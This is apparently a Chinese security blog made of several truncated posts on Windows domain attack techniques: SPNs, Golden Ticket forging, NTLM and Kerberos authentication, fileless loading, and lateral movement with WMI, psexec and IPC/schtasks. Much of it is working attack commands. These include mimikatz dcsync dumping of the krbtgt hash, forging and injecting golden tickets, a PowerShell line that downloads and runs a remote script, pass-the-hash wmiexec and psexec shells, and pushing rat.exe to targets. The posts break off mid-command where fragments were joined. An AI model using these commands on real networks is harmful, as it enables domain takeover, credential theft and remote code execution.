? Windows ? ? SPN ? ? AD ?      2019-11-17

一、SPN定义

        服务主体名称(Service Principal Names)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。SPN分为两种:

        (1)机器账户(Computers)注册:服务权限通常是Local System或者Network Service

        (2)域用户账户(Users)注册:注册在一个域用户权限下


二、SPN格式

    1. 域内常见的SPN实例

    * MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
    * ExchangeMDB/adsmsEXCAS01.adsecurity.org
    * TERMSERV/adsmsEXCAS01.adsecurity.org
    * WSMAN/adsmsEXCAS01.adsecurity.org

    * ……

    2. 常见的服务主体名称和对应的服务

    * AcronisAgent:针对Acronis备份和数据恢复软件
    * Afpserver:Apple归档协议
    * AgpmServer:Microsoft高级策略管理(AGPM)
    * ExchangeAB:Exchange通讯簿服务
    * ExchangeRFR:交换通讯簿服务
    * ExchangeMDB:RPC客户端访问服务器角色
    * MSSQLSvc:Microsoft SQL Server
    * MSOMHSvc:Microsoft 系统中心运营经理管理服务器
    * MSOMSdkSvc:Microsoft System Center Operations Manager 管理服务器
    * MSServerCluster:Windows集群服务器
    * MSServerClusterMgmtAPI:集群的API需要此SPN才能使用Kerberos向服务器进行验证
    * MSClusterVirtualServer:Windows 集群服务器
    * TERMSRV:Microsoft 远程桌面协议服务
    * WSMAN

        在我们拿到域管理员权限后,可以导出域控上的所有用户的hash,其中有一个krbtgt的用户hash需要特别注意。它主要是Kerberos域认证的主要密钥,每个域用户的Ticket都是由krbtgt的hash计算生成,有了它我们就可以随意伪造Ticket(Golden Ticket)登录域控制器。并且域内用户受密码策略的限制可能会定时修改密码,但是这个krbtgt是很少修改的(除非管理员发现被入侵了)。

 

一、使用前提

    1. 需要知道krbtgt用户的hash

    2. 需要知道域的SID

    3. 需要与KDC通信,一般是域控

 

二、利用演示:票据导出文件注入域成员机器

    1. 导出域控上的krbtgt hash,可以使用mimikatz在域控上本地导出或者使用mimikatz的dcsync模块、secretsdump远程导出(需要域管权限)

mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt" exit

    2. 在本地生成生成 Golden Tricket,执行后会在当前目录下生成gold.kirbi 文件

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ticket:gold.kirbi" exit 

    3. 将gold.kiebi导入域成员主机,获得域管权限

mimikatz.exe "kerberos::ptt .\gold.kirbi" exit

三、利用演示:直接将票据注入内存

    1. 不用生成kiebi直接进行黄金票据传递,在域成员主机运行:

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ptt" exit

PS:mimikatz.exe 不过杀软,如果需要落地,必须免杀处理。

 

    2. MSF中也有对应的模块:

load kiwi # 在meterpreter中加载kiwi
golden_ticket_create -d domain  -k ha
? Windows ?      2019-11-13

        当计算机用户登录时,计算机是如何判断用户输入的密码是否正确的呢?工作组和域环境的验证方式是否一样呢?

 

一、NTLM协议认证

        在工作组环境中,各个机器处于同等地位,各个计算机上的用户各自独立。当计算机用户登录时主要采用NTLM协议认证方式,对用户而言其主要涉及的进程有:

        (1)winlogon.exe 进程接收用户的明文密码输入

        (2)lsass.exe 进程加载用户的NTLM Hash认证与Hash后的明文密码对比验证

       

        Windows中的Hash结构:username:RID:LM-HASH:NT-HASH ,其中LM-HASH主要采用DES加密,大小写不敏感,容易判断出用户密码是否大于等于7位;NT-HASH是将明文转成十六进制,然后再Unicode编码,最后调用MD4加密产生的,对大小写敏感。

 

        NTLM协议的认证流程如下:

        (1)客户端向服务器发送用户信息(例:用户名user)请求
        (2)服务端接受请求,生成16位随机数Challenge,用user对应的NTLM Hash加密Challenge生成Challenge1,然后将Challenge发给客户端
        (3)客户端接收Challenge,用user对应的NTLM Hash加密Challenge生成Response发给服务器端
        (4)服务端对比接收的Response和Challenge1相同,则认证成功

        上述流程中,用户的登录密码hash为NtLM hash,Response中包含的是Net-NTLM hash。NTLM认证中,响应分为NTLM v1、NTLM v2、NTLM session v2三种协议,对应不同格式的Challenge和加密算法。对应不用的Net-NTLM hash,及Net-NTLM v1 hash、Net-NTLM v2 hash。由上述过程可知认证过程中,只涉及到本地的用户名(user)和对应的NTLM Hash,因此如果在知道用户名和对应的NTLM Hash而不知道明文密码时,也能完成NTML认证,即哈希传递

 

二、Kerberos域认证

        在域内环境中,域管理员用户可以登录上域内任意一台机器进行管理,

? Windows ? ? Persistence ?      2019-11-10

        传统的恶意软件(.exe)藏于磁盘的文件中,为了长期隐藏感染,需要修改注册表并连接到此文件。所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表(或者自运行)+ 加载远程载荷。当前该方法也可以用于绕过杀软、通过RCE漏洞直接getshell等。这里仅说下加载远程载荷的方法。


一、加载脚本常见的形式

    1. 以恶意脚本的形式

        利用Windows自带的解析器:PowerShell、VBScript、批处理文件和JavaScript,对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本,直接调用解析器运行(可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆)

    2. 利用Windows自带的工具或脚本等原生工具

        用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等,常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,脚本类型的有:winrm.vbs、wmiexec.vbs、pubprn.vbs等


二、恶意脚本加载

    1. Powershell.exe

        以反弹一个简单的shell为例子,更多功能的脚本可参考PowerSploitNishang

powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"

    2. Mshta.exe

        Hta是HTML应用程序,大多数的Windows操作系统都支持Hta文件执行,利用Mshta.exe解析.hta文件执行,这里的.hta文件可以是本地的也可以是可访问的远程主机上的。这里以用Mshta.exe解释远程MSF生成.hta文件完成上线为例

在目标机器上运行 mshta http

        WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

 

一、wmiexec.vbs 使用(需要目标用户的明文)

        1. 半交互shell模式

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 hostname\username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 doamin\username password

        2. 单条命令执行模式:

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 username password "whoami"
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 hostname\username password "whoami"
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 doamin\username password "whoami"

 

二、Wmiexec 使用(需要知道目标用户明文或者hash)

        1. 半交互式shell模式:

wmiexec ./admin:password@192.168.1.1
wmiexec hostname/admin:password@192.168.1.1
wmiexec domain/admin:password@192.168.1.1
wmiexec -hashes :$HASH$ ./admin@192.168.1.1
wmiexec -hashes :$HASH$ hostname/admin@192.168.1.1
wmiexec -hashes :$HASH$ domain/admin@192.168.1.1

        2. 执行命令模式

wmiexec ./admin:passwo

        利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

 

一、Psexec使用

        利用Psexec需要目标开启admin$,并且会在目标创建服务(PSEXESVC )来执行,会在目标日志中留下大量合计,并且在实际利用中容易被各种杀软拦截,可以通过先建立IPC链接后使用或者直接提供用户凭证进行利用,利用过程如下:

        1. 通过明文密码的方式获得目标主机的半交互式shell:

 psexec \\192.168.1.2 cmd # 需要先有ipc链接
 psexec \\192.168.1.2 -u administrator -p password cmd # 直接提供明文账户密码,可以不用建立IPC
 psexec \\192.168.1.2 -u administrator -p password -s cmd # -s 指定以System权限运行

        2. 通过hash传递的方式获得远程主机的半交互式shell:

psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3

        3. 上传exe到目标执行:

psexec \\192.168.1.2 -u administrator -p password -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ ./administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ domain/administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe

 

二、使用总结

        1. Psexec 需要目标开启 admin$ 共享

        2. Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹

        3. 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接

    在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

 

一、利用流程

    1. 建立IPC链接到目标主机

    2. 拷贝要执行的命令脚本到目标主机

    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

    4. 删除IPC链接

 

二、IPC

    1. IPC简介及使用

        IPC是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139、445端口。创建IPC链接可以使用如下的命令:

net use \\server\ipc$"password" /user:username # 链接工作组机器
net use \\server\ipc$"password" /user:domain\username # 链接域内机器

其中ipc$可以换成具体的盘符或者路径,如D$、C:\\Windows\Temp……IPC的使用如下:

dir \\192.168.72.128\C$\                # 查看文件列表
copy  \\192.168.72.128\C$\1.bat  1.bat  # 下载文件
copy  1.bat  \\192.168.72.128\C$\1.bat  # 上传文件
net use \\192.168.72.128\C$\1.bat /del  # 删除IPC
net share ipc$ | admin$                 # 开启逻辑共享(C$、D$、E$……)或者 系统共享(ADMIN$)
net view 192.168.72.128                 # 查看对方共享

 注意:如果路径中出现空格,用双引号引起来如:dir \\server\C$\Windows\"Top secret.rar"。如果是用ip建立的ipc,必须用ip运行上述命令,如果用的计算机名建立的ipc,也必须用计算机名运行上述的命令。

 

    2. 建立IPC常见的错误代码

    (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

    (2)51:网络问题,Window

? Windows ?      2019-11-01

    注册表是Windows在win95/98系统开始引入的一种核心数据库,里面存放着各类的配置信息、参数等、直接控制着系统的启动、硬件的装载及Windows程序的运行。

一、注册表结构:键、值、类型

 

 

二、根键的分类及作用

    1. HKEY_CLASSES_ROOT:是应用程序运行时必需的信息,包括扩展名和关联、所有的驱动程序名称、类的ID数字、用于应用程序和文件的图标。

    2. HKEY_CURRENT_USER:管理系统当前的用户信息。在这个根键中保存了本地计算机中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。在用户登录Windows时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。

    3. HKEY_LOCAL_MACHINE:保存了注册表里的所有与这台计算机有关的配置信息。

    4. HKEY_USERS:仅包含了缺省用户设置和登录用户的信息。包含了所有独立用户的设置,但在用户未登录时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。

    5. HKEY_CURRENT_CONFIG:包括了系统中现有的所有配置文件的细节。它与HKEY_LOCAL_MACHINE的不同之处是它的改变不会涉及到多个注册表信息的改变。

 

PS:上述的根键分别有对应的缩写,缩写规则是:第一个单词前两个字母和后两个单词首字母,如:HKCU为"HKEY_CURRENT_USER"的缩写,其他根键为"HKCR"、"HKLM"、"HKU"、"HKCC"等

    

三、reg命令

    可以实现对注册表进行添加、删除、查看、备份、还原等操作。

    1. 注册表添加:向"HKEY_CURRENT_USER"下创建一个子键"Teng",在该子键中添加名为"hello",类型为"REG_ZS",数据为"welcome"

reg add  HKCU\Teng  /v hello  /t REG_SZ  /d "welcome"

其中 /v 值 /t 类型 /d 数据

    2. 修改注册表中的值,例如开启远程桌面 1->0

reg add "hklm\system\currentcontrolset\control\terminal server" /f